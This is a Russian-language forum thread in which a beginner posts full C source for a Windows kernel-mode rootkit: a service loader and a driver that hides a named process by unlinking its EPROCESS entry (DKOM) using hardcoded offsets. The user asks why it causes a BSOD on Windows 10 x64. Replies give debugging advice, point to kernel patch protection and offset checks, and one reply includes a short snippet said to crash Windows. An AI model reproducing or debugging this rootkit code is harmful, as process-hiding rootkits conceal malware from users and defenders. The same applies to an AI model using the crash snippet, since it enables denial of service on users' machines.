Возникает BSOD

Discussion in 'WASM.BEGINNERS' started by oooimj, Mar 3, 2018.

  1. oooimj

    oooimj New Member

    Blog Posts:
    0
    Joined:
    Mar 3, 2018
    Messages:
    2
    Доброго времени суток форумчанам!

    Компилирую код:

    Code (C):
    1. #include <stdio.h>
    2. #include <stdlib.h>
    3. #include <windows.h>
    4. #include <string.h>
    5.  
    6. #define SERVICE "Rootkit"
    7. #define DEVICE "\\\\.\\Rootkit"
    8. #define DRIVER "c:\\\\Windows\\Rootkit.sys"
    9.  
    10. // IRP rootkit()
    11. #define IRP_CODE_HIDE 0x815
    12.  
    13.  
    14.  
    15.  
    16. int main(int argc, char *args[]) {
    17.     printf("Usage : loader.exe <process name>");
    18.     if (argc != 2) {
    19.         return 0;
    20.     }
    21.  
    22.     SC_HANDLE hSCManager;
    23.     SC_HANDLE hService;
    24.     HANDLE hDevice;
    25.     BOOLEAN b;
    26.     ULONG r;
    27.  
    28.     if ((hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)) == NULL)
    29.         return GetLastError();
    30.  
    31.     if ((hService = OpenService(hSCManager, TEXT(SERVICE), SERVICE_ALL_ACCESS)) == NULL) {
    32.         DWORD error = GetLastError();
    33.         if (error = ERROR_SERVICE_DOES_NOT_EXIST) {
    34.             if ((hService = CreateService(
    35.                 hSCManager,
    36.                 TEXT(SERVICE),
    37.                 TEXT(SERVICE),
    38.                 SC_MANAGER_ALL_ACCESS,
    39.                 SERVICE_KERNEL_DRIVER,
    40.                 SERVICE_DEMAND_START,
    41.                 SERVICE_ERROR_IGNORE,
    42.                 TEXT(DRIVER),
    43.                 NULL, NULL, NULL, NULL, NULL)) == NULL)
    44.                 return GetLastError();
    45.  
    46.             if (StartService(hService, 0, NULL) == FALSE)
    47.                 return GetLastError();
    48.         }
    49.         else {
    50.             return error;
    51.         }
    52.     }
    53.  
    54.     // open Device
    55.     if ((hDevice = CreateFile(
    56.         TEXT(DEVICE),
    57.         GENERIC_READ | GENERIC_WRITE,
    58.         0,
    59.         NULL,
    60.         OPEN_EXISTING,
    61.         FILE_ATTRIBUTE_NORMAL,
    62.         NULL)) == INVALID_HANDLE_VALUE)
    63.         return GetLastError();
    64.  
    65.     char* inputBuffer = args[1];
    66.     printf(" rootkit( %s )", inputBuffer);
    67.     b = DeviceIoControl(
    68.         hDevice,
    69.         IRP_CODE_HIDE,
    70.         inputBuffer,
    71.         (DWORD) strlen(inputBuffer) + 1,
    72.         NULL,
    73.         0,
    74.         &r,
    75.         NULL
    76.         );
    77.  
    78.     if (!b)
    79.         return GetLastError();
    80.  
    81.     CloseHandle(hDevice);
    82.     CloseServiceHandle(hService);
    83.     CloseServiceHandle(hSCManager);
    84.     return 0;
    85. }
    Code (C):
    1. #include <stdio.h>
    2. #include <stdlib.h>
    3. #include <ntddk.h>
    4. #include <winapifamily.h>
    5.  
    6. #include "header.h"
    7.  
    8. UNICODE_STRING ntRootkit;
    9. UNICODE_STRING dosRootkit;
    10.  
    11. DRIVER_INITIALIZE DriverEntry;
    12. DRIVER_UNLOAD DriverUnload;
    13. DRIVER_DISPATCH IRP_create_close;
    14. DRIVER_DISPATCH IRP_control;
    15. VOID rookit(char *proc);
    16.  
    17. NTSTATUS DriverEntry(PDRIVER_OBJECT  pDriverObject, PUNICODE_STRING RegistryPath)
    18. {
    19.     UNREFERENCED_PARAMETER(RegistryPath);
    20.     KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] rootkit : DriverEntry\n"));
    21.     NTSTATUS status;
    22.     PDEVICE_OBJECT pdeviceObject = NULL;
    23.     RtlInitUnicodeString(&ntRootkit, NT_DEVICE_NAME);
    24.     RtlInitUnicodeString(&dosRootkit, DOS_DEVICE_NAME);
    25.  
    26.     status = IoCreateDevice(
    27.         pDriverObject,
    28.         0,
    29.         &ntRootkit,
    30.         FILE_DEVICE_UNKNOWN,
    31.         FILE_DEVICE_SECURE_OPEN,
    32.         FALSE,
    33.         &pdeviceObject);
    34.  
    35.     if (!NT_SUCCESS(status)) {
    36.         return status;
    37.     }
    38.  
    39.     pDriverObject->MajorFunction[IRP_MJ_CREATE] = IRP_create_close;
    40.     pDriverObject->MajorFunction[IRP_MJ_CLOSE] = IRP_create_close;
    41.     pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IRP_control;
    42.     pDriverObject->DriverUnload = DriverUnload;
    43.  
    44.     status = IoCreateSymbolicLink(&dosRootkit, &ntRootkit);
    45.  
    46.     if (!NT_SUCCESS(status)) {
    47.         IoDeleteDevice(pdeviceObject);
    48.         return status;
    49.     }
    50.  
    51.     KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] rootkit : ALL RIGHT (^o^)!!!!\n"));
    52.     return status;
    53. }
    54.  
    55. VOID DriverUnload(PDRIVER_OBJECT  pDriverObject) {
    56.     UNREFERENCED_PARAMETER(pDriverObject);
    57.     IoDeleteSymbolicLink(&dosRootkit);
    58.     IoDeleteDevice(pDriverObject->DeviceObject);
    59.     KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] rootkit : DriverUnload\n"));
    60. }
    61.  
    62. NTSTATUS IRP_create_close(PDEVICE_OBJECT pdeviceObject, PIRP irp) {
    63.     UNREFERENCED_PARAMETER(pdeviceObject);
    64.     NTSTATUS status = STATUS_SUCCESS;
    65.     irp->IoStatus.Status = STATUS_SUCCESS;
    66.     irp->IoStatus.Information = 0;
    67.     return status;
    68. }
    69.  
    70. NTSTATUS IRP_control(PDEVICE_OBJECT pdeviceObject, PIRP irp) {
    71.     UNREFERENCED_PARAMETER(pdeviceObject);
    72.     NTSTATUS status = STATUS_SUCCESS;
    73.     PIO_STACK_LOCATION  irpSp;
    74.     ULONG               inBufLength, outBufLength, code;
    75.     PCHAR               inBuf;
    76.  
    77.     irpSp = IoGetCurrentIrpStackLocation(irp);
    78.     inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    79.     outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
    80.     code = irpSp->Parameters.DeviceIoControl.IoControlCode;
    81.  
    82.     switch (code)
    83.     {
    84.     case IRP_CODE_HIDE:
    85.         inBuf = irp->AssociatedIrp.SystemBuffer;
    86.         irp->IoStatus.Information = strlen(inBuf);
    87.         KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] incoming IRP : %s", inBuf));
    88.  
    89.         // call rootkit()
    90.         rookit(inBuf);
    91.         break;
    92.     default:
    93.         status = STATUS_INVALID_DEVICE_REQUEST;
    94.         KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[-] Error : STATUS_INVALID_DEVICE_REQUEST\n"));
    95.         break;
    96.     }
    97.     return status;
    98. }
    99.  
    100. VOID rookit(char *proc) {
    101.     PEPROCESS cEProcess = (PEPROCESS)PsGetCurrentProcess(), origEProcess = cEProcess;
    102.     PLIST_ENTRY cActiveProcessLinks;
    103.     PUCHAR cImageFileName;
    104.     PUINT32 cPid;
    105.  
    106.     do {
    107.         cImageFileName = (PUCHAR)((DWORD64)cEProcess + ImageFileName);
    108.         cPid = (PUINT32)((DWORD64)cEProcess + UniqueProcessId);
    109.         cActiveProcessLinks = (PLIST_ENTRY)((DWORD64)cEProcess + ActiveProcessLinks);
    110.         cEProcess = (PEPROCESS)((DWORD64)cActiveProcessLinks->Flink - ActiveProcessLinks);
    111.  
    112.         if (!strcmp((const char*)cImageFileName, TEXT(proc))) {
    113.  
    114.             // DKOM Eprocess Routine
    115.             *((PDWORD64)cActiveProcessLinks->Blink) = (DWORD64)cActiveProcessLinks->Flink;
    116.             *((PDWORD64)(cActiveProcessLinks->Flink) + 1) = (DWORD64)cActiveProcessLinks->Blink;
    117.  
    118.             // Loop on process hidden (avoiding BSOD)
    119.             cActiveProcessLinks->Blink = (PLIST_ENTRY)&cActiveProcessLinks->Flink;
    120.             cActiveProcessLinks->Flink = (PLIST_ENTRY)&cActiveProcessLinks->Flink;
    121.  
    122.             KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] %s say goodbye :)\n", proc));
    123.         }
    124.     } while ((DWORD64)origEProcess != (DWORD64)cEProcess);
    125. }
    header:

    Code (Text):
    1. #define UniqueProcessId 0x2e8        //    pid
    2. #define ActiveProcessLinks 0x2f0    //    _list_entry [Flink, Blink]
    3. #define ImageFileName 0x450            //    file name
    4.  
    5. // IOCTL config
    6. #define SIOCTL_TYPE 40000
    7. #define IRP_CODE_HIDE 0x900 // rootkit()
    8. #define IOCTL_SIOCTL_METHOD_BUFFERED CTL_CODE(SIOCTL_TYPE, IRP_CODE_HIDE, METHOD_BUFFERED, FILE_ANY_ACCESS)
    9.  
    10. // ALIAS
    11. #define NT_DEVICE_NAME L"\\Device\\rootkitdkom"
    12. #define DOS_DEVICE_NAME L"\\DosDevices\\rootkitdkom"
    13.  
    в драйвере возникает bsod, система падает. windows 10 64. Почему такое происходит?
     
    yashechka likes this.
  2. yashechka

    yashechka Ростовский фанат Нарвахи

    Blog Posts:
    90
    Joined:
    Jan 2, 2012
    Messages:
    1,449
    Location:
    Россия
    А Вы малый дамп ядра делали? Отладчиком открывали?
     
    Indy_ likes this.
  3. RET

    RET Well-Known Member

    Blog Posts:
    17
    Joined:
    Jan 5, 2008
    Messages:
    789
    Location:
    Jabber: darksys@sj.ms
    Еще раз без комментов, уже было, шадов - жуть :) вот Бсод и БСОД ;)
    Code (Text):
    1. static void KillWindows()
    2. {
    3.     HDC dc = CreateCompatibleDC (NULL);
    4.     SetLayout (dc, LAYOUT_RTL);
    5.     ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL);
    6. }
     
  4. Indy_

    Indy_ Well-Known Member

    Blog Posts:
    4
    Joined:
    Apr 29, 2011
    Messages:
    4,788
    !analyze -v
     
  5. oooimj

    oooimj New Member

    Blog Posts:
    0
    Joined:
    Mar 3, 2018
    Messages:
    2
    я не разобрался еще как использовать дампы и отлаживать драйвер. я думал что код прост и на wasm смогут указать на ошибку.
     
  6. Indy_

    Indy_ Well-Known Member

    Blog Posts:
    4
    Joined:
    Apr 29, 2011
    Messages:
    4,788
    oooimj,

    Тоесть вы решили собрать драйвер, который конечно же при первой сборке вывалится в синь и решили что тут будут разбирать ваш сурец. Да даже на своём коде не ищется ошибка, а сразу смотрится причина и место исключения. Не следует вам собирать драйвера, у вас не достаточный уровень знаний для этого.
     
    Mikl___ likes this.
  7. yashechka

    yashechka Ростовский фанат Нарвахи

    Blog Posts:
    90
    Joined:
    Jan 2, 2012
    Messages:
    1,449
    Location:
    Россия
    Берёте аварийный дамп, устанавливает ДебаггингТулзФорВиндовс, оттуда запускаете ВинДэБэГэ, и открывете файл дампа, ещё нужно загрузить символы, потом команду, который выше Вам дали. Также, в исходник можно поставить точку останова и отладчик прервется на ней, а с неё уже можно пошагово трассировать.
    https://habrahabr.ru/post/130213/
    https://briolidz.wordpress.com/2012/03/28/windows-driver-debugging-with-windbg-and-vmware/
    https://www.google.ru/search?q=debu...dDZAhWGECwKHYLUDMYQ_AUICygC&biw=1024&bih=646#
    Линки Вам помогут.
    https://www.google.ru/search?q=debu...VGWSwKHVtPCcUQ_AUICSgA&biw=1024&bih=646&dpr=1
     
  8. Indy_

    Indy_ Well-Known Member

    Blog Posts:
    4
    Joined:
    Apr 29, 2011
    Messages:
    4,788
    yashechka,

    Вы наверно не понимаете. Человек собрал автоматикой драйвер, даже не свой просто попробовал собрать его и запустить. Оно конечно же упало. Он не знает матчасть, даже отладчик, ничего. Даже как открыть крэшдамп или что такое статусный код, который отобразился при падении. Вы ему советуете способы трассировки ядра. Очень уместная рекомендация :sarcastic_hand:
     
    Mikl___ likes this.
  9. _edge

    _edge Well-Known Member

    Blog Posts:
    1
    Joined:
    Oct 29, 2004
    Messages:
    631
    Location:
    Russia
    ТС уже это понял. Давайте ему хелп дадим, не могу найти, были здесь статьи про написание простейшего др-ра by Mikl. Спасибо.
     
    yashechka likes this.
  10. Fail

    Fail Active Member

    Blog Posts:
    0
    Joined:
    Mar 14, 2012
    Messages:
    503
    Иногда просче разбираться в чем то рабочем, а не в хеловордах через dbgprint, вот человек и просит ответ на простой вопрос) Вообще я не понимаю, что вы упрямитесь, а потом говорите, что у васма плохая репа:)

    На первый взгляд..
    Вы как я понимаю подписали тестовой подписью дров и загрузили. Но KPP в Win10 x64 защищает эту структуру, вот вы и падаете.

    ЗЫ

    Дровину не запускал - под рукой нет ВМ, может кто с форума отладит, дело 5 минут, может Инде даже:)
     
  11. Indy_

    Indy_ Well-Known Member

    Blog Posts:
    4
    Joined:
    Apr 29, 2011
    Messages:
    4,788
    Fail,

    > Вообще я не понимаю, что вы упрямитесь, а потом говорите, что у васма плохая репа:)

    Потому что помощь оказать в данном случае невозможно, это для тс новая область знаний, на которую нужно очень много времени: изучать архитектуру(wi-internals, железячную, общие алгоритмы и прочие вещи). Разбор причины падения смысла не имеет. Даже если бы это было действительно нужно, то пришлось бы включать варю. Запуск кернел отладчика не является чем то интересным, его лучше лишний раз не трогать, это стрёмный инструмент.)
     
  12. superakira

    superakira Guest

    Blog Posts:
    0
    Для ТС опасная функа VOID rookit(char *proc). Ты там берешь епроцесс и используются оффсеты для вытаскивания имен. Откуда оффсеты? Те корректны ли они для твоей системы. Норм решение - это простепать в виндбг. Поставь дебагбреаг в этой функи и стртани свой апп, чтобы он дернул через команду. Хотя проще на драйвеэнтри вызов этой функи и просто загрузи дров. там брякнеться. достепаешь на работу с епроцесс там выведи через ntdll!_EPROCESS структуру и сверь оффсеты. Либо возьми ядро с целевой ОС, загрузи иду и там в списках структур сверь офссеты просто. Но надо настроить подгрузку пдб с мс серверов. В сети инфы более чем.
     
  13. Indy_

    Indy_ Well-Known Member

    Blog Posts:
    4
    Joined:
    Apr 29, 2011
    Messages:
    4,788
    superakira,

    Использовать хардкод(колхозить смещения структур) это очень плохой способ реализации. Тем более если тс понятия не имеет про эти структуры, это интернал ядерные обьекты, а не просто структуры в компилере, нужно понимать как это работает, иначе удачи не будет. Отладчик нужен для решения проблем, которые не резолвятся теоретически. Как следствие их можно и нужно избегать без использования отладчика.
     
  14. superakira

    superakira Guest

    Blog Posts:
    0
    Indy_, отладчик нужен для новичка чтобы как миинимум потрогать все в живую) ну да, оффсеты плохо, но тс то не про это спросил)
     
    Fail likes this.
  15. Fail

    Fail Active Member

    Blog Posts:
    0
    Joined:
    Mar 14, 2012
    Messages:
    503
    Человек просит всего лишь ткнуть пальцем:)

    Ё-маё:) Это все равно что в автошколе предлагать еще и сопромат учить, а чё, надож знать из какой стали состоит двигатель, какое там процентное соотношение углерода и проч.:)

    Ахах:) Инде, это ребячество:)))

    Согласен, давайте еще ТС заставим парсер структуры напичать, норм))))

    Я тож сначала про них подумал, но они верные. Во всяком случае для актуальной версии ядра W10X64. Яб отладил, но ща на машине ничего нет.
     
  16. Fail

    Fail Active Member

    Blog Posts:
    0
    Joined:
    Mar 14, 2012
    Messages:
    503
    Бррр)

    Code (Text):
    1. lkd> dt _EPROCESS
     
  17. Indy_

    Indy_ Well-Known Member

    Blog Posts:
    4
    Joined:
    Apr 29, 2011
    Messages:
    4,788
    Fail,

    > Ахах:) Инде, это ребячество:)))

    У меня на это ушло овер 10 лет, так что я не согласен. У меня тоже есть мнение.
     
  18. Fail

    Fail Active Member

    Blog Posts:
    0
    Joined:
    Mar 14, 2012
    Messages:
    503
    На запуск кернел отладчика???:derisive: Вы его на наручных электронных часах грузили что ли?:grin::grin:
     
  19. superakira

    superakira Guest

    Blog Posts:
    0
    Fail, это детали) но thnx

    lkd? Бррр)

    Завтра может гляну, если будет время.

    10_64 - это понятие растяжимое. Нужен номер билда.
     
    Fail likes this.
  20. Indy_

    Indy_ Well-Known Member

    Blog Posts:
    4
    Joined:
    Apr 29, 2011
    Messages:
    4,788
    Fail,

    На изучение архитектуры и прочих вещей. Без знаний отладчик бесполезен.